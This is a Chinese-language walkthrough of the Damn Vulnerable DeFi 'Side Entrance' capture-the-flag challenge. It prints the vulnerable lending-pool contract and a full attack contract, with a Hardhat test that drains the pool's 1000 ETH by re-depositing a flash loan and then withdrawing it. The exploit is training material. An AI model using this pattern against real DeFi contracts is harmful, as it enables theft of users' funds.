Damn Vulnerable DeFi 是一個 DeFi 智能合約攻擊挑戰系列。內容包括了閃電貸攻擊、借貸池、鏈上預言機等。在開始之前你需要具備 Solidity 以及 JavaScript 相關的技能。針對每一題你需要做的就是保證該題的單元測試能夠通過。
題目連結:https://www.damnvulnerabledefi.xyz/challenges/4.html
題目描述:
有一個借貸池合約,允許任何人存入 ETH,並在任何時間點取出。這個借貸池已經有 1000 ETH 餘額,並使用存入的 ETH 提供免費閃電貸來推廣他們的系統。
你需要做的就是從借貸池中取光所有的 ETH
借貸池合約 SideEntranceLenderPool.sol
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
// 使用閃電貸功能的合約介面
interface IFlashLoanEtherReceiver {
function execute() external payable;
}
/**
* @title SideEntranceLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract SideEntranceLenderPool {
using Address for address payable;
// 記錄地址對應的餘額數量
mapping (address => uint256) private balances;
// 存入資金,並記錄
function deposit() external payable {
balances[msg.sender] += msg.value;
}
// 提現方法
function withdraw() external {
// 獲取調用者的可用餘額
uint256 amountToWithdraw = balances[msg.sender];
// 餘額置空
balances[msg.sender] = 0;
// 將可用餘額從當前合約轉到調用者
payable(msg.sender).sendValue(amountToWithdraw);
}
// 閃電貸方法
function flashLoan(uint256 amount) external {
// 獲取餘額
uint256 balanceBefore = address(this).balance;
require(balanceBefore >= amount, "Not enough ETH in balance");
// 回調使用閃電貸的合約的execute 方法
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
// 確保餘額已返還
require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back");
}
}
該借貸池合約允許存入資金,並供別人免費使用閃電貸功能。
由於該合約提供了 deposit
存入資金的方法,如果將借出的 eth 調用該方法存入,一方面能夠滿足flashLoan
最後的歸還要求,另一方面可以手動調用 withdraw
方法取出餘額。
因此我們需要一個攻擊合約 SideEntranceAttack.sol
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../side-entrance/SideEntranceLenderPool.sol";
contract SideEntranceAttack is IFlashLoanEtherReceiver, Ownable {
using Address for address payable;
// 借貸池合約
SideEntranceLenderPool public pool;
constructor(address _pool) {
pool = SideEntranceLenderPool(_pool);
}
// 閃電貸方法
function flashLoan() external onlyOwner {
// 調用借貸池合約的 flashLoan 借出全部餘額
pool.flashLoan(address(pool).balance);
// 提取餘額,將餘額轉入該合約
pool.withdraw();
// 將該合約的餘額轉入攻擊者的地址
payable(msg.sender).sendValue(address(this).balance);
}
function execute() external override payable {
require(msg.sender == address(pool), "caller not the pool");
// 將借出的 eth 再次存入
pool.deposit{value: msg.value}();
}
receive () external payable {}
}
攻擊步驟:
- 調用借貸池合約的
flashLoan
方法,借出全部餘額 - 借貸池合約執行回調 - 調用
execute
,該方法中調用deposit
存入借出的 eth 到 借貸池合約 - 調用借貸池合約的
withdraw
,將存入的 eth 轉出到該合約 - 將合約中的餘額轉出到攻擊者的地址
最後在測試用例 side-entrance.challenge.js
編寫我們的執行程式碼
it('Exploit', async function () {
// attacker 地址部署攻擊合約
const SideEntranceAttackFactory = await ethers.getContractFactory('SideEntranceAttack', attacker)
const sideEntranceReveive = await SideEntranceAttackFactory.deploy(this.pool.address)
await sideEntranceReveive.flashLoan()
})
執行 yarn side-entrance
,測試通過!